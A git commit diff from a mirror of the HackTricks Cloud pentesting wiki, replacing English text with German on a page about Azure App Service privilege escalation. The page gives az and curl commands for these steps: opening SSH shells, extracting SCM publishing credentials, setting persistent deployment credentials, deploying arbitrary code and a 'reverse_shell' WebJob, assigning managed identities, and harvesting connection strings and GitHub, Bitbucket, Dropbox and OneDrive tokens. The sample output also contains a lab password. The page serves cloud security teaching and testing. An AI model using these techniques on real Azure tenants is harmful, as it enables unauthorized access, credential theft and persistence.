mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
Für weitere Informationen zu Azure App-Diensten siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
@@ -12,17 +12,14 @@ For more information about Azure App services check:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
|
||||
|
||||
- **SSH in single command**:
|
||||
Diese Berechtigungen ermöglichen den Zugriff auf eine **SSH-Shell** innerhalb einer Webanwendung. Sie erlauben auch das **Debuggen** der Anwendung.
|
||||
|
||||
- **SSH in einem einzelnen Befehl**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- **Create tunnel and then connect to SSH**:
|
||||
|
||||
- **Tunnel erstellen und dann mit SSH verbinden**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -35,152 +32,146 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **Debuggen Sie die Anwendung**:
|
||||
1. Installieren Sie die Azure-Erweiterung in VScode.
|
||||
2. Melden Sie sich mit dem Azure-Konto in der Erweiterung an.
|
||||
3. Listen Sie alle App-Dienste innerhalb des Abonnements auf.
|
||||
4. Wählen Sie den App-Dienst aus, den Sie debuggen möchten, klicken Sie mit der rechten Maustaste und wählen Sie "Debugging starten".
|
||||
5. Wenn die App das Debugging nicht aktiviert hat, versucht die Erweiterung, es zu aktivieren, aber Ihr Konto benötigt die Berechtigung `Microsoft.Web/sites/config/write`, um dies zu tun.
|
||||
|
||||
- **Debug the application**:
|
||||
1. Install the Azure extension in VScode.
|
||||
2. Login in the extension with the Azure account.
|
||||
3. List all the App services inside the subscription.
|
||||
4. Select the App service you want to debug, right click and select "Start Debugging".
|
||||
5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
|
||||
### SCM-Anmeldeinformationen abrufen & Basisauthentifizierung aktivieren
|
||||
|
||||
### Obtaining SCM Credentials & Enabling Basic Authentication
|
||||
|
||||
To obtain the SCM credentials, you can use the following **commands and permissions**:
|
||||
|
||||
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
|
||||
Um die SCM-Anmeldeinformationen zu erhalten, können Sie die folgenden **Befehle und Berechtigungen** verwenden:
|
||||
|
||||
- Die Berechtigung **`Microsoft.Web/sites/publishxml/action`** erlaubt das Aufrufen:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Beachten Sie, dass der **Benutzername immer derselbe ist** (außer bei FTP, wo der Name der App am Anfang hinzugefügt wird), aber das **Passwort für alle dasselbe ist**.
|
||||
|
||||
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
|
||||
|
||||
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
|
||||
Darüber hinaus ist die **SCM-URL `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- Die Berechtigung **`Microsoft.Web/sites/config/list/action`** erlaubt das Aufrufen:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass die **Anmeldeinformationen die gleichen sind** wie im vorherigen Befehl.
|
||||
|
||||
Note how the **credentials are the same** as in the previous command.
|
||||
|
||||
- Another option would be to **set you own creds** and use them:
|
||||
|
||||
- Eine weitere Möglichkeit wäre, **Ihre eigenen Anmeldeinformationen festzulegen** und diese zu verwenden:
|
||||
```bash
|
||||
# Show if any user is configured (password won't be shown)
|
||||
az webapp deployment user show
|
||||
|
||||
# Set your own credentials
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
|
||||
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
|
||||
```
|
||||
Dann können Sie diese Anmeldeinformationen verwenden, um **auf die SCM- und FTP-Plattformen** zuzugreifen. Dies ist auch eine großartige Möglichkeit, um Persistenz aufrechtzuerhalten.
|
||||
|
||||
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
|
||||
|
||||
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
|
||||
Denken Sie daran, dass Sie, um auf die SCM-Plattform über das **Web zuzugreifen, zu `<SCM-URL>/BasicAuth`** zugreifen müssen.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
|
||||
|
||||
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
> Beachten Sie, dass jeder Benutzer seine eigenen Anmeldeinformationen konfigurieren kann, indem er den vorherigen Befehl aufruft, aber wenn der Benutzer nicht über ausreichende Berechtigungen verfügt, um auf die SCM oder FTP zuzugreifen, funktionieren die Anmeldeinformationen nicht.
|
||||
|
||||
- Wenn Sie sehen, dass diese Anmeldeinformationen **REDACTED** sind, liegt das daran, dass Sie **die Option für die grundlegende SCM-Authentifizierung aktivieren müssen** und dafür benötigen Sie die zweite Berechtigung (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Code mit SCM-Anmeldeinformationen veröffentlichen
|
||||
|
||||
### Publish code using SCM credentials
|
||||
Mit gültigen SCM-Anmeldeinformationen ist es möglich, **Code** in den App-Dienst zu **veröffentlichen**. Dies kann mit dem folgenden Befehl erfolgen.
|
||||
|
||||
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
|
||||
|
||||
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
|
||||
|
||||
Then you can **publish the code** in a web app with the following command:
|
||||
Für dieses Python-Beispiel können Sie das Repository von https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart herunterladen, beliebige **Änderungen** vornehmen und dann **zippen Sie es mit: `zip -r app.zip .`**.
|
||||
|
||||
Dann können Sie den **Code** mit dem folgenden Befehl in einer Webanwendung **veröffentlichen**:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | SCM-Anmeldeinformationen
|
||||
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
|
||||
|
||||
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
|
||||
|
||||
- Read **Webjobs** logs:
|
||||
Die erwähnte Azure-Berechtigung ermöglicht es, mehrere interessante Aktionen durchzuführen, die auch mit den SCM-Anmeldeinformationen durchgeführt werden können:
|
||||
|
||||
- **Webjobs**-Protokolle lesen:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
@@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
--user '<username>:<password>' -v
|
||||
```
|
||||
|
||||
- Read **Webjobs** source code:
|
||||
|
||||
- Lesen Sie den **Webjobs** Quellcode:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
- Create **continuous Webjob**:
|
||||
|
||||
- Erstellen Sie **kontinuierlichen Webjob**:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
|
||||
|
||||
Diese Berechtigungen ermöglichen es, eine **verwaltete Identität** dem App-Dienst zuzuweisen. Wenn ein App-Dienst zuvor kompromittiert wurde, kann der Angreifer neue verwaltete Identitäten dem App-Dienst zuweisen und **Berechtigungen** auf diese erhöhen.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
|
||||
|
||||
Diese Berechtigung ermöglicht das Auflisten der **Verbindungszeichenfolgen** und der **App-Einstellungen** des App-Dienstes, die möglicherweise sensible Informationen wie Datenbankanmeldeinformationen enthalten.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Konfigurierte Drittanbieter-Anmeldeinformationen lesen
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
|
||||
### Update App Code from the source
|
||||
|
||||
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
|
||||
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- To get the SCM credential you need the permission:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
- Wenn die konfigurierte Quelle ein Drittanbieter wie Github, BitBucket oder ein Azure Repository ist, können Sie den **Code** des App-Dienstes aktualisieren, indem Sie den Quellcode im Repository kompromittieren.
|
||||
- Wenn die App mit einem **remote git repository** (mit Benutzername und Passwort) konfiguriert ist, ist es möglich, die **URL und die grundlegenden Authentifizierungsdaten** zu erhalten, um Änderungen zu klonen und zu pushen mit:
|
||||
- Mit der Berechtigung **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Mit der Berechtigung **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Wenn die App so konfiguriert ist, dass sie ein **local git repository** verwendet, ist es möglich, das **Repository zu klonen** und **Änderungen** daran vorzunehmen:
|
||||
- Mit der Berechtigung **`Microsoft.Web/sites/sourcecontrols/read`**: Sie können die URL des git-Repos mit `az webapp deployment source show --name <app-name> --resource-group <res-group>` erhalten, aber es wird die gleiche sein wie die SCM-URL der App mit dem Pfad `/<app-name>.git` (z.B. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- Um die SCM-Anmeldeinformationen zu erhalten, benötigen Sie die Berechtigung:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Führen Sie dann `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` aus.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Führen Sie dann `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>` aus.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
|
||||
> Beachten Sie, dass es mit der Berechtigung `Microsoft.Web/sites/config/list/action` und den SCM-Anmeldeinformationen immer möglich ist, in eine Webanwendung zu deployen (auch wenn sie so konfiguriert wurde, dass sie einen Drittanbieter verwendet), wie in einem vorherigen Abschnitt erwähnt.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
|
||||
> Beachten Sie, dass es mit den untenstehenden Berechtigungen auch **möglich ist, einen beliebigen Container auszuführen**, selbst wenn die Webanwendung anders konfiguriert wurde.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
|
||||
|
||||
Dies ist der Satz von Berechtigungen, der es ermöglicht, den **Container zu ändern**, der von einer Webanwendung verwendet wird. Ein Angreifer könnte dies ausnutzen, um eine Webanwendung einen bösartigen Container ausführen zu lassen.
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,33 +13,34 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service-
|
||||
- Die isolierten Stufen laufen auf **dedizierten VMs in dedizierten virtuellen Netzwerken**, was die Isolation der Apps verbessert.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass **keine** dieser Isolierungen **andere gängige** **Webanfälligkeiten** (wie Datei-Uploads oder Injektionen) **verhindert**. Und wenn eine **Verwaltungsidentität** verwendet wird, könnte sie in der Lage sein, **Berechtigungen auf diese** zu **eskalieren**.
|
||||
> Beachten Sie, dass **keine** dieser Isolierungen **andere gängige** **Webanfälligkeiten** (wie Datei-Uploads oder Injektionen) **verhindert**. Und wenn eine **Verwaltungsidentität** verwendet wird, könnte sie in der Lage sein, **Berechtigungen zu ihnen zu eskalieren**.
|
||||
|
||||
Apps haben einige interessante Konfigurationen:
|
||||
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn nicht aktiviert, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
|
||||
- Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt.
|
||||
- **SSH**: Wenn aktiviert, kann sich ein Benutzer mit ausreichenden Berechtigungen über SSH mit der App verbinden.
|
||||
- **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert.
|
||||
